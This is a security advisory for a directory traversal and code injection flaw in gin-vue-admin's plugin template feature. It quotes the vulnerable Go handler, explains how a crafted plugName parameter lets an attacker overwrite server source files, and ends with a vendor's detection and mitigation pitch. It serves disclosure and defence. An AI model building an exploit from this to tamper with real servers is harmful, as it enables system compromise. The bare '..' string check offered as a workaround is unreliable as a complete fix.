Description
Impact
"gin-vue-admin<=v2.6.1 has a code injection vulnerability in the backend. In the Plugin System -> Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter."
Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct.
func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) {
var a system.AutoPlugReq
err := c.ShouldBindJSON(&a)
if err != nil {
response.FailWithMessage(err.Error(), c)
return
}
a.Snake = strings.ToLower(a.PlugName)
a.NeedModel = a.HasRequest || a.HasResponse
err = autoCodeService.CreatePlug(a)
if err != nil {
global.GVA_LOG.Error("预览失败!", zap.Error(err))
response.FailWithMessage("预览失败", c)
return
}
response.Ok(c)
}
The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct.
type AutoPlugReq struct {
PlugName string `json:"plugName"` // 必然大写开头
Snake string `json:"snake"` // 后端自动转为 snake
RouterGroup string `json:"routerGroup"`
HasGlobal bool `json:"hasGlobal"`
HasRequest bool `json:"hasRequest"`
HasResponse bool `json:"hasResponse"`
NeedModel bool `json:"needModel"`
Global []AutoPlugInfo `json:"global,omitempty"`
Request []AutoPlugInfo `json:"request,omitempty"`
Response []AutoPlugInfo `json:"response,omitempty"`
}

By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system.
Patches
Please wait for the latest patch
Workarounds
You can use the following filtering methods to rectify the directory traversal problem if strings.Index(plugPath, "..") > -1 { fmt.Println("no bypass",plugPath) }

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/flipped-aurora/gin-vue-admin/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/flipped-aurora/gin-vue-admin/server to 0.0.0-20240409100909-b1b7427c6ea6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gv3w-m57p-3wc4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gv3w-m57p-3wc4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gv3w-m57p-3wc4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gv3w-m57p-3wc4 in your dependencies?
O3 detects GHSA-gv3w-m57p-3wc4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
